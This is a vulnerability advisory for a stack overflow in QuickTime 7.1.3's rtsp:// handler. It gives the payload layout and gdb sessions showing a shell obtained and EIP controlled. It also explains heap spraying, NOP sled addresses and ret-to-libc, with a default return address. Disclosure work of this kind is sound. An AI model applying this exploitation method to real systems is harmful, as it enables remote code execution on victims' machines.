Oh my gosh, an Apple Peeler!


The following description of the software is provided by vendor (Apple):

QuickTime 7 makes the future of video crystal clear with new features including user-friendly controls and pristine H.264 video. Upgrade to QuickTime 7 Pro and capture your own movies, then share them with friends and family via email or .Mac.

A vulnerability exists in the handling of the rtsp:// URL handler. By supplying a specially crafted string (rtsp:// [random] + colon + [299 bytes padding + payload]), an attacker could overflow a stack-based buffer, using either HTML, Javascript or a QTL file as attack vector, leading to an exploitable remote arbitrary code execution condition.

Exploitation of this issue is trivial, and stack NX can be rendered useless via ret-to-libc.

Affected versions

This issue has been successfully exploited in QuickTime™ Version 7.1.3, Player Version 7.1.3. Previous versions should be vulnerable as well. Both Microsoft Windows and Mac OS X versions are affected.

Proof of concept, exploit or instructions to reproduce

Requires a working Ruby interpreter. The exploit provided will create a QTL file, which can be locally opened or served remotely via web server. The exploit source code includes notes and other comments about the different options available.

$ ruby exploit.rb
(gdb) r pwnage.qtl 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program:
/Applications/QuickTime Player pwnage.qtl
Reading symbols for shared libraries . done
Reading symbols for shared libraries + done
sh-2.05b$ id
uid=501(lmh) gid=501(lmh) groups=501(lmh), 81(appserveradm), ...
sh-2.05b$ exit

Program received signal EXC_SOFTWARE, Software generated exception.
0x918bef3b in encoder ()

Debugging information

After successful exploitation, control over EIP is gained. This is a simple good old stack smashing. The following debugging information aims to provide some interesting facts about this issue and the conditions in which it can be properly abused.

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xbabeface
0xbabeface in ?? ()
(gdb) info registers 
eax            0xffffffff       -1
ecx            0x900012f8       -1879043336
edx            0xffffffff       -1
ebx            0x41414141       1094795585
esp            0xbfffde08       0xbfffde08
ebp            0xdeadbabe       0xdeadbabe
esi            0x41414141       1094795585
edi            0x41414141       1094795585
eip            0xbabeface       0xbabeface
eflags         0x10282  66178
cs             0x17     23
ss             0x1f     31
ds             0x1f     31
es             0x1f     31
fs             0x0      0
gs             0x37     55

In the exploit, we needed to find a reliable location to jump on shellcode or find the string we wanted to pass to system(). In any case, accessing heap allocated buffers is necessary. Thus, I decided to 'spray' the heap space using the available QTL attributes. Forcing allocation of large chunks could make it more likely successful, allowing us to jump on an arbitrary address (filled with our NOP sled, thus making it more probable to get over our code if address shifts):

$ vmmap 622 | grep 'MALLOC' | grep 150
MALLOC_LARGE           15096000-150ad000 [   92K] rw-/rwx SM=COW  DefaultMallocZone_0x300000
MALLOC_LARGE           150ae000-150b9000 [   44K] rw-/rwx SM=COW  DefaultMallocZone_0x300000
MALLOC_LARGE           150c1000-151d3000 [ 1096K] rw-/rwx SM=COW  DefaultMallocZone_0x300000
(gdb) x/10 0x15096000+16386
0x1509a002:      '?' repeats 200 times...
0x1509a0ca:      '?' repeats 200 times...
0x1509a192:      '?' repeats 200 times...
(gdb) x/10 0x15096000+16386+30000
0x150a1532:      "BOOM"

This is explained in the 'Exploitation conditions' section. The above output shows the location of our code at a fixed location relative to the base address of the first large chunk allocated to store the QTL moviename attribute value (in the exploit, variable with name NEW).


Exploitation conditions

For further information about OS X heap implementation, we encourage to read nemo's excellent write-up for Phrack magazine: OS X heap exploitation techniques. As explained in the 'Debugging information' section, exploit reliability slightly depends on the availability of a fixed address where our string or shellcode of choice is located. Also, due to character limitations we need to avoid addresses containing NULL bytes, like the examples below:

Pattern found @ 0x64ea8f
0x64ea8f:        "JohnnyPwnerseed"

(gdb) r pwnage.qtl 
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xbabeface
0xbabeface in ?? ()
(gdb) grep /s JohnnyPwnerseed
error reading segment, got -1 want 524288

Pattern found @ 0x64ea8f ---------- static but not usable
0x64ea8f:        "JohnnyPwnerseed"

It's worth noting that we can place our string at the end of any of the NOP sleds that result in large chunk malloc()'ation. The location we would be seeking is in the range of: [base malloc address] + [offset, page aligned] + [0-30k]. Having a base address of 0x15096000, an offset 16386/16384 and then 30k bytes, results in having our code at 0x150a1532 (see the example output in the 'Debugging information' section). That means we could jump on any location within the NOP sled (0x1509a002-0x150a152e), and it would still work.

Dedicated to Johnny Pwnerseed, whom walked spreading pwnage and promptly escaped from a Cupertino-based maximum security stockade to the Los Nachos underground. Today, still wanted by Apple management, he survives as haxor of fortune. If you have a kernel panic, if no else can help, and if you can Spotlight him, maybe you can hire the "Applecider-Team".

Finally, on exploitation options we have return-to-libc or direct jump over shellcode located at heap space. The exploit provided makes use of return-to-libc, and could be easily modified for using shellcode. We can make it exit gracefully, too. Don't forget that you need to find a new address if you change the CMD_STRING (and if the new address isn't suitable, you can extend the length of the string and do other tricks to make it work). Depending on the initialization method, you'll be seeking a different location each time. The exploit default address (0x17a853c) works if you open the file directly from disk (example: open pwnage.qtl). If Quicktime reads the file and it's already running, it will most probably fail.

Workaround or temporary solution

The only potential workaround would be to disable the rtsp:// URL handler, uninstalling Quicktime or simply live with the feeling of being a potential target for pwnage.

You're the PC now, Mac (YTPNM).